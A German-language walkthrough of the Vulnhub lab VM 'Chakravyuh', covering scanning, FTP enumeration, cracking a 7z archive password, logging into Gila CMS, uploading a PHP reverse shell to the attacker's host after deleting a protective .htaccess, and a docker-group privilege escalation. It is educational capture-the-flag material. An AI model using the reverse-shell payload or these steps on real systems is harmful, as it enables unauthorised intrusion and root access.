HA: Chakravyuh – Vulnhub

VM: Chakravyuh
Quelle: www.vulnhub.com
Ziel: Auslesen der /root/final.txt Datei.
Tools: NMAP, netcat, hashcat, 7z2hashcat, FileZilla, Base64
Techniken: Netzwerk & Port Scan, Enumeration, Privilege Escalation, Docker, Reverse Shell, Brute Force, Dekodieren

Schritt 1: Scanning

Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.

Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.

Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24 scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.

Chakravyuh IPScan

Bei mir wurde der VM die IP 192.168.178.69 (rot markiert) zugewiesen.

Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.69 gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.

Chakravyuh Port Scan

Wie auf dem Bild zu sehen ist, wurden mehrere offene Ports ermittelt:

PortService
22SSH
80HTTP
65530FTP

Schritt 2: Enumeration

Nachdem wir die offenen Ports ermittelt haben, ist die Zeit gekommen so viel wie möglich Informationen über das System zu kriegen. Fangen wir mit dem Port 80 – HTTP Server an. Dazu geben wir einfach die IP, die wir im Schritt 1 ermittelt haben in einen beliebigen Internet Browser an.
http://192.168.178.69

In dem Quellcode stehen keine für uns nützliche Informationen. Es gibt auch keine Verweise auf andere Verzeichnisse. Es ist Zeit dem Server mal mit DIRB zu scannen. Aus übersichtsgründen habe ich den DIRB mit dem Parameter -r gestartet, damit die Suche nicht rekursiv geht.

dirb http://192.168.178.69 -r

Chakravyuh Dirb Scan

Das sieht schon interessanter aus. Eine phpMyAdmin Installation. Das gucken wir uns später näher an.

Als weiteres gucken wir uns den FTP-Server mal an. Es läuft auf einem nicht Standard Port und erlaubt Anonymen Zugriff. Dazu nehmen wir einen beliebigen FTP-Client, in meinem ist es FileZilla. Bitte vergiss nicht die richtige Portnummer anzugeben.

Auf dem FTP-Server finden wir eine Datei mit dem Namen arjun.7z.

Chakravyuh FTP

Wir versuchen die Datei zu öffnen und müssen feststellen, dass diese mit einem Passwort versehen ist. An dieser Stelle können wir keine weiteren Informationen mehr finden und gehen zu dem nächsten Schritt über.

Schritt 3: Brute Force des 7z Passwords

Wie wir vorher festgestellt haben, ist die Datei arjun.7z mit einem Password versehen. Unsere einzige Möglichkeit an der Stelle weiterzukommen ist zu versuchen das Password zu brechen/erraten.

Dazu wird bestimmt das Programm hashcat super passen. Leider gibt es beim hashcat kein mitgeliefertes Modul für 7z Archive. Eine Anfrage bei Google lieferte einen Skript Namens 7z2hashcat.pl. Probieren wir es aus ob es funktioniert.

Zuerst erstellen wir mit dem Skript eine Datei mit einem Hash von dem Archiv. Danach lassen wir es mit dem hashcat gegen ein Wörterbuch laufen in der Hoffnung das unser gesuchtes Passwort dabei ist.

./7z2hashcat.pl arjun.7z > hash.txt
hashcat -a 0 -m 11600 hash.txt /root/Downloads/top10000passwoerter.txt --force --show

Chakravyuh Hashcat

Wir haben Glück, das Password könnte gefunden werden und lautet family. Jetzt können wir das Archiv entpacken und gucken was da drin ist.

7z e arjun.7z

Nach dem Entpacken finden wir eine Datei secret.txt. Ein Blick in die Datei zeigt uns, dass da vermutlich ein Base64 (erkennt man an dem „=“ am Ende) kodierter Text drin ist.

Chakravyuh Archiv

Das können wir schnell decodieren mit:

base64 -d secret.txt

Das liefert uns folgende Ausgabe:

gila:admin@gmail.com:princesa

Chakravyuh Credentials

An dieser Stelle war ich etwas irritiert. Normalerweise werden Zugangsdaten als Paar Benutzername:Password notiert. Warum es drei Teile waren war mir ein Rätsel. Die Versuche diese Zugangsdaten in phpMyAdmin einzugeben brachten keinen Erfolg. Es sah nach einer Sackgasse aus.

Schritt 4: Enumeration

Einzige Möglichkeit wäre, dass beim Scannen mit DIRB nicht alle Verzeichnisse oder Dateien gefunden waren. Deswegen habe ich mich entschieden noch einen DIRB Scan zu machen aber mit einem anderen Wörterbuch. Es dauerte eine Weile bis meine VM das große Wörterbuch verarbeitet hat aber am Ende wurde mir ein Verzeichnis „gila“ ausgegeben.

dirb http://192.168.178.69 /usr/share/wordlists/rockyou.txt

Wie es aussieht handelt es sich dabei um etwas weniger bekanntes CMS-System namens Gila. Auf der Startseite waren keine besonderen Informationen zu sehen. Es war auch kein Anmeldelink dabei. Auf gut Glück habe in der Adresszeile noch admin als Verzeichnis angegeben und landete anschließend in der Anmeldemaske. Hier passten auch die vorher ermittelte Zugangsdaten.

http://192.168.178.69/gila/admin

Schritt 5: Infiltration

Da wo wir jetzt in der Adminoberfläche sind, können wir uns nach Möglichkeiten umschauen weiter ins System einzudringen. Unter Content fand ich einen FileManager, welches für diese Zwecke optimal passte. Ein Blick in den Root-Verzeichnis brachte uns schon eine nützliche Information. Und zwar, die Zugangsdaten für den MySQL Datenbank welche wir vermutlich beim phpMyAdmin nutzen können.

Chakravyuh Admin Gila CMS

Da wir aber einen schreibenden Zugriff auf den Server haben, kann man es ausnutzen, um eine Reverse-Shell Verbindung aufzubauen. Dazu laden wir eine php-Datei hoch mit folgendem Inhalt.

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.178.100/8888 0>&1'");
?>

In dem Fall, falls wir die Datei ausführen können, wird uns eine Reverse Shell zu meinem Rechner aufgebaut. Dafür muss auf dem lokalen Rechner das Programm netcat gestartet werden, welche auf dem Port 8888 lauscht.

netcat -lvp 8888

Wie es aussieht werden alle Uploads in den Verzeichnis assets geladen. Da drin befindet sich eine .htaccess Datei, die das Ausführen aller .php Dateien verbietet. Löschen wir die Datei einfach.

Chakravyuh htaccess

Jetzt können wir unsere Datei ausführen und prüfen ob eine Reverse-Shell Session sich aufgebaut hat.

http://192.168.178.69/gila/assets/rshell.php

Und wie wir bei netcat sehen können, das hat funktioniert. Jetzt haben wir eine Shell zum Server und kommen zum weiteren Schritt.

Schritt 6: Enumeration

Da wir jetzt ein Zugriff auf das Betriebssystem haben, können wir mit dem LinEnum.sh Skript prüfen ob wir irgendwas Auffälliges finden. Dazu laden wir erstmal unseren LinEnum.sh Skript hoch entweder über den FileManager oder per WGET und machen es ausführbar.

wget 192.168.178.100:8000/LinEnum.sh
chmod +x LinEnum.sh

Chakravyuh wget

Nachdem LinEnum.sh durchgelaufen war, wurde uns folgende Ausgabe geliefert.

Chakravyuh Docker

Schritt 7: Privilege Escalation

Die Ausgabe ober zeigt uns mehrere Informationen an:

  • Es läuft ein Docker Container
  • Der Benutzer www-data ist ein Mitglied der Gruppe docker (Was definitiv eine Falschkonfiguration ist)
  • Dockerfile liegt in einem Verzeichnis, welches aus dem Internet erreichbar ist.

Probieren wir welches nutzen wir aus den Docker Container rausholen können.

docker images //Zeigt uns vorhandene Images an
docker ps //Zeigt uns laufende Container an
docker ps -a //Zeigt uns gestoppte Container an
docker start ContainerID //Startet den Container
docker inspect ContainerID //Zeig uns die Konfiguration von dem Container an
docker exec -it f004e506e6c9 /bin/sh // Damit wird der Befehl /bin/sh in dem Container ausgeführt

Chakravyuh Docker 2

Wie du auf dem Bild sehen kannst, haben wir zuerst eine Fehlermeldung gekriegt, dass unsere Session keine TTY Session ist. Da starten wir einfach mit python -c 'import pty; pty.spawn("/bin/sh")' eine TTY Session.

In der Konfiguration könnten wir sehen, dass die Partition/Verzeichnis root nach /mnt gemountet wird

Chakravyuh docker Config

Nachdem wir die Shell über den Container gestartet haben, können wir sehen welche Rechte wir haben und dann den Flag auslesen.

Chakravyh Final